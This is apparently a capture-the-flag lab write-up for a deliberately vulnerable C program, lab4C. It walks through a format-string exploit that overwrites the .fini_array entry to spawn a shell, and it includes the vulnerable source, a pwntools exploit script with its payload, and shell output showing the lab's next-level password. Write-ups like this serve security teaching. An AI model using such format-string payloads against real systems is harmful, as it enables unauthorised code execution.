For this lab, we are given a program and its corresponding source code:

/*
 *   Format String Lab - C Problem
 *   gcc -z execstack -z norelro -fno-stack-protector -o lab4C lab4C.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PASS_LEN 30

int main(int argc, char *argv[])
{
    char username[100] = {0};
    char real_pass[PASS_LEN] = {0};
    char in_pass[100] = {0};
    FILE *pass_file = NULL;
    int rsize = 0;

    /* open the password file */
    pass_file = fopen("/home/lab4B/.pass", "r");
    if (pass_file == NULL) {
        fprintf(stderr, "ERROR: failed to open password file\n");
        exit(EXIT_FAILURE);
    }

    /* read the contents of the password file */
    rsize = fread(real_pass, 1, PASS_LEN, pass_file);
    real_pass[strcspn(real_pass, "\n")] = '\0';  // strip \n
    if (rsize != PASS_LEN) {
        fprintf(stderr, "ERROR: failed to read password file\n");
        exit(EXIT_FAILURE);
    }

    /* close the password file */
    fclose(pass_file);

    puts("===== [ Secure Access System v1.0 ] =====");
    puts("-----------------------------------------");
    puts("- You must login to access this system. -");
    puts("-----------------------------------------");

    /* read username securely */
    printf("--[ Username: ");
    fgets(username, 100, stdin);
    username[strcspn(username, "\n")] = '\0';    // strip \n

    /* read input password securely */
    printf("--[ Password: ");
    fgets(in_pass, sizeof(in_pass), stdin);
    in_pass[strcspn(in_pass, "\n")] = '\0';      // strip \n

    puts("-----------------------------------------");

    /* log the user in if the password is correct */
    if(!strncmp(real_pass, in_pass, PASS_LEN)){
        printf("Greetings, %s!\n", username);
        system("/bin/sh");
    } else {
        printf(username);
        printf(" does not have access!\n");
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

The source code comment reveals that it is compiled with RELRO completely disabled. checksec confirms this.

lab4C@warzone:/levels/lab04$ gdb -q ./lab4C
Reading symbols from ./lab4C...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

In addition, we see that there is a format string vulnerability that is triggered in the second to last printf() call:

printf(username);

This format string vulnerability should give us an arbitrary write-what-where primitive.

Because RELRO is fully is disabled, we are able to overwrite a .fini_array entry. For the uninitiated, the .fini_array is the new replacement for the old .dtors section and is just an array of pointers to destructors that are called just before the main() function exits or returns. All binaries that are compiled with GCC contain either a .fini_array or a .dtors section.

We can see that the .fini_array section in our binary contains only 1 entry.

lab4C@warzone:/levels/lab04$ objdump -s -j .fini_array ./lab4C

./lab4C:     file format elf32-i386

Contents of section .fini_array:
 8049de4 e0870408                             ....         

In addition, if we look at the disassembly of main() we can see a good target to redirect our flow of execution to:

0x08048acb <+670>:	call   0x8048720 <strncmp@plt>
0x08048ad0 <+675>:	test   eax,eax
0x08048ad2 <+677>:	jne    0x8048af9 <main+716>
0x08048ad4 <+679>:	lea    eax,[esp+0x94]
0x08048adb <+686>:	mov    DWORD PTR [esp+0x4],eax
0x08048adf <+690>:	mov    DWORD PTR [esp],0x8048cc4
0x08048ae6 <+697>:	call   0x8048660 <printf@plt>
0x08048aeb <+702>:	mov    DWORD PTR [esp],0x8048cd4
0x08048af2 <+709>:	call   0x80486d0 <system@plt>

To summarize, we will use the format string vulnerability to overwrite the .fini_array entry to direct execution to the 0x08048ad4 basic block which will eventually call system("/bin/sh"), giving us a shell.

The following script achieves this.

Solution

#!/usr/bin/env python

from pwn import *
import sys

'''
python -c 'print "AAAA"+".%08x"*3+".%35508x%hn"+"\n"+"BB"+"\xe4\x9d\x04\x08"+"\n"' | ./lab4C
'''
def exploit(r):
  username = "AAAA"+".%08x"*3+".%35508x%hn"+"\n"
  password = "BB"+"\xe4\x9d\x04\x08"+"\n"
  print r.recv(1024)
  r.send(username) 
  r.send(password)
  r.interactive()

if __name__ == "__main__":
  log.info("For remote: %s HOST PORT" % sys.argv[0])
  if len(sys.argv) > 1:
    r = remote(sys.argv[1], int(sys.argv[2]))
    exploit(r)
  else:
    r = process(['/levels/lab04/lab4C'])
    print util.proc.pidof(r)
    pause()
    exploit(r)
                                                                                                                                       42420000 does not have access!
Greetings, !
lab4A  lab4A.c    lab4B  lab4B.c    lab4C  lab4C.c
$ cat /home/lab4B/.pass
bu7_1t_w4sn7_brUt3_f0rc34b1e!

Addendum

As a side note, one obstacle I did have to overcome was being able to debug this suid binary in GDB. When suid binaries run in GDB, they do so without their elevated permissions. Therefore, lab4C wasn’t able to open the /home/lab4B/.pass file while being debugged, causing the program to terminate prematurely. To bypass this issue, I created a fake password file, /tmp/lab4c/hellow, set a breakpoint at the fopen() call, ran the program until it hit the breakpoint, and patched the value of the string.

gdb-peda$ b *main+230
Breakpoint 1 at 0x8048913
gdb-peda$ r
Starting program: /levels/lab04/lab4C 
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x0 
EDX: 0xbffff656 --> 0x0 
ESI: 0x1c 
EDI: 0xbffff654 --> 0x0 
EBP: 0xbffff6f8 --> 0x0 
ESP: 0xbffff5e0 --> 0x8048bc2 ("/home/lab4B/.pass")
EIP: 0x8048913 (<main+230>:	call   0x8048710 <fopen@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80488f9 <main+204>:	mov    DWORD PTR [esp+0xf8],0x0
   0x8048904 <main+215>:	mov    DWORD PTR [esp+0x4],0x8048bc0
   0x804890c <main+223>:	mov    DWORD PTR [esp],0x8048bc2
=> 0x8048913 <main+230>:	call   0x8048710 <fopen@plt>
   0x8048918 <main+235>:	mov    DWORD PTR [esp+0xfc],eax
   0x804891f <main+242>:	cmp    DWORD PTR [esp+0xfc],0x0
   0x8048927 <main+250>:	jne    0x804895a <main+301>
   0x8048929 <main+252>:	mov    eax,ds:0x8049f20
Guessed arguments:
arg[0]: 0x8048bc2 ("/home/lab4B/.pass")
arg[1]: 0x8048bc0 --> 0x682f0072 ('r')
[------------------------------------stack-------------------------------------]
0000| 0xbffff5e0 --> 0x8048bc2 ("/home/lab4B/.pass")
0004| 0xbffff5e4 --> 0x8048bc0 --> 0x682f0072 ('r')
0008| 0xbffff5e8 --> 0x0 
0012| 0xbffff5ec --> 0x0 
0016| 0xbffff5f0 --> 0x0 
0020| 0xbffff5f4 --> 0x0 
0024| 0xbffff5f8 --> 0x0 
0028| 0xbffff5fc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048913 in main ()
gdb-peda$ patch 0x8048bc2 "/tmp/lab4c/hellow"
Written 17 bytes to 0x8048bc2